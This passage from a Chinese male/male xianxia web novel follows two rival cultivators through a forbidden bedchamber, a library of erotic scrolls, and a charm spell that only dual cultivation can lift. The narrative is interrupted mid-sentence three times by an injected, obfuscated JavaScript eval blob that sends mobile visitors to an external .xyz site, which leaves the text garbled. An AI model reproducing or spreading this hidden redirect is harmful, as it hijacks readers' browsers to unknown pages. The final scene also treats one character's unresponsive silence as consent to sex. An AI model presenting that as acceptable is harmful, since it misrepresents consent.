叶云溪看不明白。 他发现宁霜尘正在悄悄盯着他看,回望过去,不解道:“看我干什么?” 宁霜尘摸摸鼻尖,移开眼去:“……没什么。” 叶云溪只觉得他莫名其妙,将上面的东西拿起来看了一眼,又挨着放了回去,边放边道:“你那里有什么奇怪的吗?” 宁霜尘绕着浴池走了一圈,摇头道:“暂时还没有。” 刚说完,便发现屏风旁的浴架上搭着一件外袍,似雨后天青般的浅碧色,与绘着合欢花的屏风格格不入。 他顿了下,接着道:“有一件外袍,好像是你们云岚宗的。” 啊? 他们云岚宗的宗服? 叶云溪放下镣铐走过去。 果然看见屏风上搭了件浅碧色的外袍,颜色样式皆和他们宗门的宗服一模一样。 他现在穿的是宁霜尘的衣袍,洗干净的云岚宗宗服仍放在宁霜尘的储物袋里,能和他一样都穿这身外袍的人,只有来过这里的另一名云岚宗弟子。 叶云溪随即了然:“是那位同门前辈的。” 两人谁都没碰,宁霜尘又道:“你们宗服有什么不一样的地方吗?” 叶云溪知道他这话是什么意思,若是有不同之处,便能由此推断出那位同门前辈的身份。 可惜没有。 叶云溪摇了摇头。 他们云岚宗最是讲究一视同仁,是以上到各堂长老,下到入门弟子,所有人穿的宗服都是一样的,唯一不同的大概只有身上的佩饰。 无法从这件外袍上得到更多信息,两人只得就此作罢,转而去查看别的地方。 叶云溪绕过浴架,走到屏风后,后面置有一张矮榻和矮几,矮几上放了许多装丹药用的玉瓶和装药膏用的瓷罐。 上面好像有字? 他刚朝玉瓶伸出手去,这时,宁霜尘冷不丁出现在了身后。 “那是风月宗弟子常用的合欢散,是他们专门用在炉鼎身上的。”宁霜尘倚靠着屏风,终于忍不住出声提醒道:“这里的所有东西都和风月宗有关,包括你刚才碰过的玉……嗯,还有那些鞭子锁链……都是他们用来帮助修炼的。” 末了又添了句,“最好别碰。” 风月宗还能怎么修炼? 饶是叶云溪再怎么迟钝,此刻也从宁霜尘的话中反应了过来。 难怪那枚玉石的形状如此奇怪。 原来……原来是那种东西。 想到自己刚刚碰过,叶云溪整张脸瞬间涨得通红。 19.第十九章 他不仅碰过玉石,还碰过鞭子、锁链、镣铐……这些全部都被他碰过了。 反应过来的这一刻,叶云溪只恨不得把自己的双手给剁掉。 风月宗能有什么正经东西? 他还看得那么仔细! 啊啊啊啊! 宁霜尘仍靠在屏风旁,抱着双臂,看好戏般看着他涨红的脸。 发现他正盯着自己,叶云溪脸上顿时又羞又恼,拧着眉凶巴巴地瞪去一眼。 看什么看? 一开始没见他说,到现在才来提醒,摆明了就是为了等着看他出糗! 宁霜尘实在是太可恶了! 叶云溪愤愤地扭回头去,一张脸从双颊红到了耳根,热意久久不散。 原本伸出去的手被他瞬间缩了回来,他微蜷了蜷指尖,佯装不经意地扫了一眼矮几上的玉瓶。 上面果然写有合欢散三个字。 还真是合欢散…… 宁霜尘怎么知道这么多? 他不会连这些东西的用法都知道吧?! 太无耻了! 太下流了! 叶云溪在心里暗骂了十几句下流,从屏风后面出去,走过宁霜尘的身旁时,生怕碰上他似的,往旁边躲了下,十分刻意地和他保持着距离。 他没敢在浴池旁多留,也没敢再去看书架边的几案,更不敢再随意去触碰寝殿里的任何东西。 最后,叶云溪把目光投向唯一没有查看过的玉床。 宁霜尘在他后面跟着走出浴池,他知道叶云溪被师兄师姐们保护得很好,极少下山,自然也没经历过什么世事,对许多事情都不甚了解。 但没想到他竟然……竟然这么单纯。 单纯到有点可爱。 他走过去,站到叶云溪的身侧,和他一起打量着那张纱幔垂落的玉床。 红色的薄纱层层叠叠,缀在玉床四周,像笼了一层朦朦胧胧的轻烟,缥缈又迷幻。 宁霜尘看了一会儿,提议道:“试试?” 叶云溪仍有些生气,勉强搭理他:“试什么?” 宁霜尘补充道:“躺上去看看?说不定会有什么机关。” 叶云溪却是皱了皱眉,显然不太情愿,上回在洞房幻象里发生的事,仍然让他有些难以接受。 这要是让他和宁霜尘再亲一次…… 思及此处,脑中便不由浮现出了他们亲吻的画面。 微凉的唇瓣、柔软的触感、被按住的手腕…… 不行!打死他都不会再和宁霜尘做这种事! 叶云溪眉头紧皱,神色略不自然道:“要试你自己试。” 他才不试! 说完,叶云溪转过身去,耳朵却止不住一阵发烫。 宁霜尘当然没办法一个人试,寝殿里的东西不管哪一样都是需要合力才能完成的。 他想,这应该才是霁月真君将他们引到此处的真正目的,也更符合他们风月宗的作风。 至于离开的方法…… 看这样子,似乎也与此有关。 宁霜尘走至玉床的另一侧,视线掠过放在床头几案上的玉瓶,和刚才屏风后看见的那些差不多,都是风月宗弟子用以帮助修炼的药膏药散。 其中一个位置是空的。 宁霜尘看了看,沉吟道:“好像少了一个……” 叶云溪正在打量着寝殿的其他地方,没听清他说什么,以为他在和自己说话,扭头问道:“什么?” 宁霜尘道:“这里少了个玉瓶。” 叶云溪随口回道:“可能被人拿走了吧。” 说完忽然想起什么,不由神色微顿。 这里的东西就算被人拿走,也只能行那等风月之事,难道有人在这里…… 他的脸色顿时一变,耳根又开始隐隐发烫。 应该不是他想的那样吧? 偏偏宁霜尘在这时说道:“嗯,也是,可能有人拿去用了。” 叶云溪:“……” 倒也不必说出来。 可来过这里的人,除了他们,只有那两位留下提示的剑修前辈。 总不会是霁月真君本人。 他们不约而同看向那件浅碧色的云岚宗外袍,心中隐约有了答案,只是不知这位前辈是男是女。 叶云溪清了下嗓子道:“现在怎么办?我们都找完了,这里好像并没有霁月前辈说的方法。” 可若是没有,又为什么会引他们来这里。 宁霜尘道:“还有一个地方。” 叶云溪忙问:“哪儿?” 宁霜尘挑眉看了眼玉床。 叶云溪瞬间会意,他就知道宁霜尘没安好心,眉头一蹙道:“不是说了吗,想试你自己试。” 见他眼神躲闪,宁霜尘直视着他的眼睛道:“只是躺上去看看而已,又没什么,还是说……叶少宗主连这都不敢?” 他故意用了激将法,果然,叶云溪立马反驳:“谁不敢了?” 见这方法奏效,宁霜尘接着道:“你不会以为还要像上次那样吧?” 上次那样…… 也就是在幻象里的洞房。 叶云溪闻言,立时耳廓一热,双颊泛起微红,支吾道:“我、我才没有!” 越是抗拒,似乎越是显得他心里有鬼。 他不耐烦道:“少说废话,要试就试。” 不就是躺一张床上吗,他不信宁霜尘真敢对他做什么。 真要这样,他就……他就…… 一时没想出来到底该怎么做,叶云溪反过去催促他:“还站那儿干什么,上去啊。” 这激将法果真好用。 宁霜尘勾唇应了句好。 他掀开衣摆先上了床,叶云溪犹豫了片刻,也在他后面躺了上去。 经过上一次的接触,叶云溪反而有些不自在起来,直挺挺地躺在玉床边缘,浑身似被冻住了一般,一动不动。 躺了一会儿也没动静,他的耐心开始逐渐消失,甚至怀疑宁霜尘又在故意捉弄他。 越想越觉得不太对劲,叶云溪腾地坐起身来:“不试了!” 他才不给宁霜尘捉弄他的机会。 刚要下床,突然一阵机括声响起,似乎来自床底,他愣了一下,低头去看声音的来源。 还没来得及回神,玉床忽地从中间裂开一道缝隙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655868|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一瞬,叶云溪直接和宁霜尘从床上掉了下去。 这一次,他们掉落的地方并不深,两人并没有因此陷入昏迷。 叶云溪甚至感觉地上软软的,像铺了一层毛绒绒的地毯。 低头一看,才发现他正趴在宁霜尘的怀里。 视线交汇,叶云溪登时一怔,连忙从他身上爬起来。 两人抖了抖衣袍,站定之后,慢慢扭头环顾四周。 这里好像是寝殿下的一间密室,抬头还能看见他们掉下来的那张玉床,四周是整面墙的书架,每一个格子里都整齐摆放着书卷。 其中一面墙上挂着一幅画,画上有一棵合欢树,树下倚靠着一个姿态妩媚的美人,披着薄衫,香肩半露。 叶云溪连忙移开了眼。 宁霜尘扬眉道:“我没说错吧,这里还有一个地方。” 歪打正着而已,有什么好得意的。 叶云溪抬了下下巴,轻轻哼了一声。 不过,此地看起来确实更像存放重要之物的地方。 有了前面的教训,叶云溪没再轻易触碰密室里的各种东西,他可不想再拿着什么玉石被宁霜尘看笑话。 密室里燃着长年不灭的油灯,他们沿着书墙一面面看过去,几乎每个格子都装满了书卷,满满当当。 想不到霁月真君竟是个喜欢收藏书卷、爱好看书的人。 这倒是让叶云溪有些意外。 在他的印象里,风月宗的修者大多都不正经,满脑子都是那些风月之事。 这间密室和上面的寝殿简直天差地别。 叶云溪正专注地看着,这时,身旁的宁霜尘冷不丁说道:“地上有脚印。” 嗯?脚印? 叶云溪闻言转过身去,只见宁霜尘从旁边拿了盏油灯,正半蹲着身查看着地面。 许是很久无人打扫,地砖上积了一层薄薄的灰尘,隐约可从上面看出几双脚印。 有两双。 也就是说,不是一个人的,是两个人的。 宁霜尘抬了下眼道:“你踩上右边的脚印看看。” 叶云溪一脸警觉:“干什么?” 宁霜尘耐心解释:“看一下脚印的大小。” 见他少见地露出认真的神色,叶云溪虽然不解,仍是照他的话轻轻踩了上去。 这双脚印的主人和他的脚大小差不多。 宁霜尘思忖须臾,做出判断:“这双脚印是男人的。” 叶云溪道:“那又怎么了?” 宁霜尘接着道:“另一双也是。” 叶云溪道:“你怎么知道?” 宁霜尘道:“我试过了。” 叶云溪哦了声。 他还是有些不明白,都是男人又怎么样?这也只能说明,有两个男人来过这里。 等等,两个男人…… 念及此处,叶云溪蓦地一顿,忽然想起了和他们一样误入禁地的两位剑修前辈。 这么说来……他们都是男的? 那他们还…… 不对…… 叶云溪完全愣住,满脸不可置信。 男人和男人也能做那种事??? 20.第二十章 不可能…… 一定是哪里弄错了。 男人怎么可能和男人做那种事…… 这……能舒服吗? 叶云溪怎么想都觉得奇怪。 谁说东西不见了就是被拿去用了? 说不定……说不定只是单纯拿去玩了呢? 虽然这个理由连他自己也无法说服自己。 叶云溪还是不敢相信,抿了下唇,吞吞吐吐道:“那、那也不能确定真是男人,没准儿是女子呢,这脚印也说不了什么。” “不是女子。”宁霜尘看了眼他,十分肯定道:“那件外袍女子穿不了,而且,这脚印上有你们云岚宗的云纹。” 这么来看,确实和宁霜尘推测的一样。 但叶云溪仍是觉得怪怪的:“可他们两个男人……” 宁霜尘抬眸,反问道:“两个男人怎么了?” 叶云溪皱了皱眉,顿了下,忍不住说出了口:“你不觉得这样很奇怪吗?” 奇怪?宁霜尘不解地看过去,打量了一眼他。 “你不会以为他们发生了什么吧?”他眯了下眸子,似是猜到了叶云溪在想什么,顿了片刻后,故作恍然道:“原来叶少宗主在想这种事。” 叶云溪脸色腾地一红:“我、我才没有,明明是你说的……” “我说什么?”宁霜尘看着他,佯装努力地回忆了一下,随后摇了摇头:“我可什么都没说。” 叶云溪被他的话噎住:“你……” 明明就是这人说的,说什么那个玉瓶被人拿去用了,才害得他胡思乱想。 这会儿却在这里不认账! 宁霜尘真是太无耻了! 既无耻又可恶! 可他偏偏又不能说什么,说了反而显得他真在想那种事一样。 叶云溪只得狠狠甩了下衣袖。 宁霜尘端着油灯站起身,接着言归正传,继续道:“不过,他们既然能从这里出去,肯定找到了离开此处的方法,我们找找吧。” 叶云溪仍板着脸,没好气地反问:“怎么找?” 宁霜尘缓了缓吐出两个字:“脚印。” 叶云溪顺着他的视线看去,旋即明白了他的意思。 既然地上有脚印,说明那两位剑修前辈也在这间密室查看过,那么只要跟着这些脚印走,他们就能找到离开的方法了。 “那就找吧。”叶云溪勉强缓下脸色,并理直气壮安排道:“你去那边,我去这边。” 他暂时不想和宁霜尘走在一起。 两人于是开始分头行动。 叶云溪也去拿了盏油灯,循着地砖上的脚印,一步步走向旁边的墙壁。 脚印在一排书架前停下,他也跟着止住了脚,端着油灯抬头看向装满书卷的格子。 空气中飘浮着淡淡的灰尘气味,叶云溪蹙着眉揉了下鼻子,视线落在其中一个格子上。 里面的书卷好像被人拿出来看过,放回去的位置和其他书卷不太一样。 叶云溪看了一会儿,把油灯放在一边,探手将那卷被人碰过的书卷从格子里取出来。 书卷用绘着合欢花的锦布做包首,卷身系着一条红色的扎带,上端的引首写了一行小字,看着像是书卷的卷名。 只是这卷名…… 叶云溪越看眉头皱得越紧,喃喃念道:“仙尊和魔尊的七天七夜……” 好奇怪的名字。 这些书卷似乎并没有什么问题,他于是又取出其他书卷看了一遍,所有书卷的卷名都很长,什么《被藤蔓攻缠上后逃不掉了》、《我死后仙君追悔莫及》、《掉入崖底的我揣上了龙蛋》…… 这……怎么感觉哪里不太对劲? 叶云溪展开其中一卷书卷看了眼,看见里面的内容,神色顿时一变,双颊立时染上绯红。 没有问题才怪! 这些全都是修仙界的禁书! 亏他还以为霁月真君勤奋好学,才会收集这么多藏书,原来、原来全是…… 是他看走眼了。 风月宗的人果然都不正经! 叶云溪正锁着眉,忽在这时,耳边冷不防传来宁霜尘的声音。 “你在看什么?” 叶云溪登时被他吓了一跳,收回神来,慌慌忙忙合上手里的书卷。 回头一看,宁霜尘正端着油灯站在他的身后。 也不知道上面的画有没有被他看到。 没错,这书卷上竟然还有画! 至于画的是什么,叶云溪没去细看,隐约好像是两名交颈而卧的男子。 他红着脸支吾着回:“没、没什么。” 宁霜尘却是将他的所有动作收入眼底,淡淡哦了一声,装作一副什么都没看见的样子。 似转移话题般,叶云溪反过去问他:“你找完了?” 宁霜尘点头:“找完了。” 便在叶云溪松懈之时,手里的书卷忽地一空,被宁霜尘探手抢了过去。 他不由一愣,还没来得及反应,抬头看时,对方已经展开了书卷,刚好是他方才看见的那幅画。 !!! 叶云溪连忙伸手去抢,却不料对方早有防备,迅速侧身往后一避。 宁霜尘低眸看了眼书卷,缓缓掀起眼皮打量他,露出意味深长的眼神:“原来叶少宗主喜欢看这种。” 叶云溪本就脸上微热,闻言双颊更是红到了耳根,一脸怒意驳道:“谁喜欢了!我才不喜欢!” 他瞪着宁霜尘的脸,把话噎回去:“我看你才喜欢吧。” 谁知宁霜尘竟厚着脸皮应了句:“还行。” 叶云溪立时顿住:“你……” 他就知道,宁霜尘这人无耻又下流! 连、连这种书都看得下去! 明明是宁霜尘自己承认,叶云溪却无端红了耳朵。 宁霜尘拿着书卷,仅扫了一眼,便又重新合上,好似什么都没发生过一般。 他将书卷放回格子里,正了下神色道:“你这里有找到什么吗?” 为什么宁霜尘看了却跟没事人一样? 居然一点儿都不害臊。 叶云溪发现,宁霜尘这人不仅下流无耻,还十分厚脸皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673573|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 话题回到正事上,他脸上的绯红慢慢褪去,摇头回道:“没有。” 这里除了禁书就是禁书,没一卷能看的,离开的方法总不会在这些禁书里。 叶云溪随后又用同样的话问他:“你那儿呢?你有发现什么吗?” 宁霜尘也摇了摇头:“没有。” 两人不禁目光相汇。 难道他们的思路错了? 离开的方法不在这里? 可那两位剑修前辈又是怎么出去的? 叶云溪收回神思,板着脸道:“那你还杵在这儿干什么?继续找啊。” 明明对方的语气一点儿都不好,宁霜尘却并不觉得生气,反而轻扯着唇角道:“行,我再去另一边看看。” 笑什么笑? 莫名其妙。 叶云溪皱着眉撇了下嘴。 这些书架上的书卷他是不敢再碰了,生怕一个没注意又翻出什么不堪入目的话本。 叶云溪转而打量起密室的摆设。 东西两面的书架正对着,刚掉下来时看见的那幅画悬挂在北面,画下是一张几案,没有多余的摆件,只有一堆书卷。 他仰头看着画上的美人,刚进来时没敢细看,这会儿一看才发现竟是一名男子,狭长的凤眼,如瀑的长发,眉眼间带着几分熟稔。 可他明明没有见过。 那双含情脉脉的凤眸透过画布,眉尾微挑,倚靠着合欢树直勾勾地盯着他。 叶云溪一不小心看入了神。 直到宁霜尘冷不丁从后面推了下他,“小心。” 画上忽然飞出来一个红点,倏地没入了宁霜尘的眉心,与此同时,整幅画亮起一道红光,红光中现出一卷金色华丽的书卷。 宁霜尘朝它摊开手,书卷旋即稳稳落在了他的手心里,他停顿了下,目光掠过上面的小字,脸色微微一凝。 红光消失,旁边的叶云溪从幻术中清醒,扶着额缓缓回神。 “发生什么了?”他下意识抬头看向宁霜尘,见他手中多出一卷书卷,脱口问道:“这是什么?” 宁霜尘却似乎并没有打算给他看,反而将拿着书卷的手负在身后,“你确定要看?” 他都看到了,上面写了秘籍两个字,只是没看清楚到底是什么秘籍。 当初他说有秘籍宁霜尘不信,这会儿倒来跟他抢! 叶云溪随即探出手去,说道:“当然!” 宁霜尘嘴上问他,手里却没有一点儿松开的意思,只不停闪躲着不让叶云溪近身。 两人在不大不小的密室里交起手来。 宁霜尘一直在躲,叶云溪始终碰不到分毫,失去耐心的他猛地拔出了长剑。 剑锋削过对方的一缕碎发,随后剑尖往下一转,挑起系在书卷卷身的扎带。 趁着这时,叶云溪立马将书卷抢到手里,却不想扎带松开,书卷的另一端自手中滑了下去。 他定睛一看,果然看见书卷上写有秘籍二字,再往后看去,另外两个字也跟着映入眼来。 四个字合在一起,即是——灵修秘籍。 21.第二十一章 灵修秘籍? 等等……灵、灵修? 叶云溪看着书卷上的灵修二字,神色不由一顿,片刻后,从怔愣中反应过来,连忙把手中的书卷扔了出去。 怪不得宁霜尘会松手,原来又是这种禁书! 书卷落在地上,上面的字迹忽地亮了起来,一个个墨字散发出淡金色的光芒。 紧接着,发着光的墨字自书卷上飘浮至虚空,在他们面前重新拆解组合,最后汇成了几行墨金色的小字。 两人不约而同看过去。 只见上面写道: ‘此为灵修秘籍,若想离开此处,需照书中之秘术修炼,待到修炼圆满,修为即可恢复,第三个月满之夜时,方能离开深崖禁地。’ 末尾留名:霁月。 这应当便是霁月真君口中离开的方法了。 难怪霁月真君说照他所说的去做,修为便可自行恢复,原来这方法指的是灵修。 寻常风月宗的弟子只要与他人灵修,便可由此增涨修为灵力,换成其他宗派的弟子应该也一样。 可灵修需要两人配合,这里只有他和宁霜尘两个人。 不对…… 这是什么意思? 让他们灵修? 他们……? 他和宁霜尘??? 叶云溪霎时面上一沉,脸色变得十分难看。 偏偏宁霜尘这时还开口复述道:“待到修炼圆满,修为即可恢复,方能离开崖底,这是想让我们一起灵修?” 让他和宁霜尘灵修?除非他死! 光是提及这几个字,叶云溪便觉耳根发烫,好似浑身炸毛一样,瞪着他凶巴巴道:“除非我死!想都别想!” “你以为我想?”宁霜尘听他这么说不免想笑,转眸看着他,用同样的话回道:“放心,就算我死,也不会与你灵修。” “你……”叶云溪冲他冷哼了一声,双眸依然瞪着他,咬牙道:“你最好说到做到。” 宁霜尘回了他一句:“你也是。” 两人各自把脸扭向一边。 飘浮在虚空的墨字于片刻之后消失,与此同时,灵修秘籍也渐渐失去了光芒,变回了普通书卷的样子,孤零零地躺在冰冷的地砖上。 两人谁也没有去捡,谁也没有去碰,而是继续查看着这间密室,试图能找出其他方法。 虽然这个希望十分渺茫。 他们几乎可以确定,那两位剑修前辈应当便是灵修之后才得以离开的,否则不会在外面的洞壁上留下那样的话。 妖兽封印,风月禁地,修炼秘籍。 最后那个看不清的字即是秘籍的‘籍’字。 叶云溪又查看了一遍书架,依然没有别的发现,密室内只有满墙浩如烟云的书卷。 这里与其说是密室,更像是霁月真君的藏书室。 他再次走到悬挂着那幅美人图的墙壁前,画上的男子他虽没有见过,却已从方才的灵修秘籍猜到了他的身份,正是深崖禁地的主人霁月真君。 几案上的书卷堆得满满当当,却和书架上的稍有不同,他刚才没有注意,这会儿才发现这些书卷上都没有卷名。 要知道,格子里那些书卷名字可是一个比一个长,也一个比一个更离奇荒诞。 叶云溪看了一会儿,随手拿起一卷,谁知刚拿到手中,耳边忽地传来一声异响。 声音来自右侧,他扭头看去,只见旁边的书墙突然动了起来,由中间往墙壁里面慢慢凹陷进去。 不一会儿,书架和书架之间多出了一条台阶似的暗道。 宁霜尘正翻看着书卷,闻声抬起眼来,看了眼暗道后,又看向站在几案前的叶云溪。 两人默默交换了一个眼神,前面还在因为灵修秘籍互相斗嘴,这会儿却已心有灵犀般一起朝暗道走了过去。 不想刚迈出一步,眼前一阵晕眩,体内似有一团火气直窜,令宁霜尘不得不停住了脚。 见另一边的人没跟上来,叶云溪回过头去,看他立在原地,问道:“你怎么了?” 宁霜尘缓缓调整了一下气息,从方才突如其来的晕眩中回神,定了定神,摇头道:“没事,走吧。” 他说了没事,叶云溪也就没再多问,先一步在前面走进暗道。 原以为暗道会通向新的地方,直到他从暗道出去之后,看见寝殿里熟悉的摆设,才知道那条暗道只不过是密室和寝殿之间的出口。 根本没有别的出路。 叶云溪难免有些失落。 不会真要他们灵修吧? 不可能!绝对不可能! 如果是别人,叶云溪可能会勉强考虑一下,当然,前提是这个人并非男子。 可偏偏只有宁霜尘。 不仅是男的,还是他的宿敌。 叶云溪想到这里便黑了脸。 回头一看,宁霜尘又慢在了身后,靠着暗道出口的墙壁,似乎有些难受的样子。 叶云溪看了眼,忍不住问道:“你没事吧?” 他说着折返回去。 宁霜尘却是喘了口气,压着嗓子道:“你别过来。” 声音带着从未有过的冷厉。 叶云溪没听他的话,又朝他走近了一步。 宁霜尘的语气重了几分,再次冷着声音说道:“我让你别过来。” 干什么这么凶? 尽管很不想搭理他,叶云溪停下来顿了会儿,仍是皱着眉问了句:“你到底怎么了?” 他们虽然是宿敌,可毕竟一同身陷困境,又一起经历了这么多事。 叶云溪暂时还做不到置之不理。 宁霜尘扶着墙壁,呼吸微重,鬓间渗着密汗,勉强回道:“我可能中了魅术,你离我远点。” 魅术? 叶云溪闻言立时一顿。 然后想起他们刚才在密室的时候,画中倏然飞出来的红点,当时他被及时推开,而宁霜尘挡在了他的前面。 想来宁霜尘便是在那个时候中了霁月真君的魅术。 他依稀记得,当初他随师兄师姐下山,在山下碰见其他宗门的弟子,其中一人便中过风月宗弟子的魅术。 那名弟子被魅术折磨得死去活来,痛不欲生,最后还是被他身为医修的师叔施针相救,才侥幸捡回了一条性命。 若是修为仍在,他还能帮宁霜尘运功。 可他们如今不仅失了修为,还什么都没有。 叶云溪不禁眉头紧锁,说道:“那现在怎么办?” 又忽地记起储物袋的那些丹药,灵光一闪道:“你的储物袋呢?” 宁霜尘似已无法站立,撑着佩剑半跪在地,腰间的储物袋随之滑落出来,他伸出另一只手去捡,指尖却怎么也够不到。 叶云溪见状,主动说道:“我帮你吧。” 他说完慢慢上前,弯腰捡起地上的储物袋,离得近了,才看清楚宁霜尘现在的模样。 额前碎发微润,脸色酡红,一双清凌凌的眸子此刻正染着一抹欲`色。 他似在努力克制着,紧紧握着剑柄,指节发白,手背青筋直冒。 叶云溪捡起储物袋随即退到一边,解开袋子,把里面的东西一股脑倒出来,什么复元丹、屏香丹、凝气丹等等。 他挑出其中一瓶写着清心丹的丹药,握在手里:“就是它了。” 中了魅术的人好像都没什么力气,叶云溪于是拧开瓶塞,倒了几粒在手心,再把手中的丹药递过去。 宁霜尘微垂着头,看起来十分难受,浸着雾气的眸子扫了眼他,才慢慢接过丹药吞入腹中,随后放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686791|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩剑盘腿而坐,调整着浑浊混乱的气息。 叶云溪站在稍远的地方看着他,过了会儿也没见有什么动静,小心翼翼问道:“你感觉怎么样?” 宁霜尘微闭着眼,呼吸却是越来越重,连颈间也染上了绯红。 看来清心丹对抑制魅术无用。 “不行?”叶云溪微凝着眉道:“那我再找找别的办法。” 此处既是风月宗的禁地,肯定也有解除魅术的办法。 寝殿他们已经找完了,这里的东西都是用来帮助修炼的。 叶云溪想了想,忽然想起了寝殿下的密室,于是又沿着原路返回到书架前。 “魅术、魅术、魅术……” 他一边喃喃念着这两个字,一边寻找和魅术有关的书卷。 密室内的书卷并非全是禁书,也有其他涉及风月宗秘术的,虽然也好不到哪儿去,风月宗毕竟是个以灵修为主的宗派。 叶云溪一目十行地找着,密室的藏书实在太多了,他找了两面书墙都没找到,不免有些着急。 如果宁霜尘真的因此失了性命…… 那他从今以后就没有宿敌了。 也不用再担心有人和他作对了。 明明应该是一件值得高兴的事,不知为何,他却一点儿高兴的感觉都没有。 便在叶云溪思绪飘远之际,书架最末处的一角蓦然闯入了他的视野里,是一卷卷名为《魅术秘法》的书卷。 找到了! 他连忙从格子里取出来,借着油灯的微光快速翻看,里面果然记载有解除魅术的办法。 叶云溪直接翻至最后一页,却见末尾处写道——‘欲解魅术,唯有灵修。’ 又是灵修…… 这下好了,又回到了最初的地方…… 他微微扭过头,目光掠过被他扔在地上的灵修秘籍。 难道只有灵修吗? 他现在怀疑,霁月真君就是故意的,为了促成他们灵修,故意在画上设下魅术。 而想要解开魅术只能灵修,想要离开崖底也只能灵修。 叶云溪皱紧了眉,第一次感到难以抉择。 要么和宁霜尘灵修,要么看着宁霜尘等死…… 如果换在以前,他一定会毫不犹豫选择后者,甚至还会给宁霜尘补上一剑。 可是…… 倘若不是宁霜尘将他推开,如今身中魅术的人就是他自己。 该怎么做? 叶云溪陷入两难。 就算宁霜尘是男人…… 只要闭上眼应该都差不多吧? 叶云溪内心一阵纠结。 灵修、不灵修、灵修、不灵修…… 脑子里好似有两个小人在不停打架。 最后,叶云溪把心一横,咬了咬牙,捡起地上的灵修秘籍回到了寝殿。 宁霜尘仍闭眼盘腿坐着,额上的汗珠比方才更密更多,浑身上下仿佛冒着热气,连身上雪青色的衣袍也湿透了。 他记得当初那名弟子也是这样,然后越来越难受,越来越痛苦,只差一点便欲`火焚身爆体而亡。 叶云溪站在宁霜尘的面前,心里酝酿一番后,清了下嗓子道:“我刚去翻了书卷,书卷上说,解除魅术的办法只有灵修。” 仅仅是提到灵修两个字,叶云溪耳朵便又红了起来,抿了抿唇又道:“等、等会儿你若是觉得不舒服,可以随时叫我停下来。” 宁霜尘没说话,也不知道有没有听见。 可能太难受了吧。 叶云溪弯下腰,伸手在他眼前晃了晃:“你不说话就是同意了?” 宁霜尘还是闭唇不语。 叶云溪在他对面坐下来,不再问他,而是深深吸了口气。 “那我们开始修炼了。” 22.第二十二章 叶云溪闭上双眼,刚做好心理准备,顿了一会儿,又缓缓将眼睛睁开。 等一下…… 第一步该做什么来着? 想到此处,叶云溪微微皱了下眉,重新拾起身旁的灵修秘籍。 方才他只随意地扫了一眼,快速翻阅了一遍便把秘籍放在了旁边,根本没有仔细去看。 不是因为时间来不及,而是他一看到里面的描述,便忍不住脸冒热气。 上一次为了不被嘲笑,他在宁霜尘的面前撒了谎,别说和别人亲嘴牵手了,长这么大,他甚至连一个喜欢的人都没有过。 喜欢是什么感觉? 叶云溪不知道。 和别人做这种事是什么感觉? 叶云溪也不知道。 他只隐约记得几年前,宗门内有一对师兄师姐结为道侣。 结契大典第二天,有懵懂无知的师弟问那位师兄结契的感觉怎么样。 那位师兄笑着回答说感觉很好很奇妙。 如今他连自己喜欢的人都没碰到,就要和一个男人灵修了。 而且这个男人还是他的宿敌。 很好很奇妙又是一种什么感觉? 叶云溪试图从秘籍中找出答案,结果眉头却是越皱越紧,脸颊也越来越烫。 这个地方进去? 这……这能行吗? 这也太难了吧! 他一边看着秘籍,一边偷偷瞄了眼宁霜尘。 想起之前在山洞的时候,他无意中看见的宁霜尘的身体,叶云溪不禁满面通红。 啊啊啊他怎么也变无耻了! 不过,宁霜尘身材这么好,应该不会那么容易受伤吧? 他只是为了帮助对方解除魅术,一定会很注意很小心的,只不过因为第一次和人做这种事,心里多少有些紧张。 叶云溪闭眼吐了口气,反正伸头一刀缩头一刀,先试了再说! 再这么拖下去,等会儿宁霜尘真要爆体而亡了。 叶云溪做了个深呼吸,睁开眼来,再一次奔赴战场。 这一次,他决定完全照着秘籍上的步骤来。 第一步:准备药膏。 药膏? 叶云溪连忙从地上起身,环顾了一遍寝殿,目光锁定玉床边的几案,几案上摆放着许多玉瓶瓷罐。 他走过去拿到手中。 玉瓶上写着合欢散,瓷罐上写着润雪膏。 原来这种药膏是在灵修之前使用的。 叶云溪继续看着秘籍,秘籍上说,润雪膏质地细腻,柔滑滋润,用之清凉舒缓,使人身心愉悦。 看这描述还不错,名字也挺好听。 他打开盖子缓缓凑近,轻嗅了下,一股淡淡的幽香直钻鼻孔。 闻着也很香。 可是要怎么用? 叶云溪于是又看了一眼润雪膏的用法,这一看,双颊直接烧了起来。 用用用手指? 这也太奇怪了! 叶云溪瞬间脸颊爆红,不敢再继续看下去,飞速将秘籍翻至下一卷。 第二步:解开衣带。 嗯……这个看起来正常了一些。 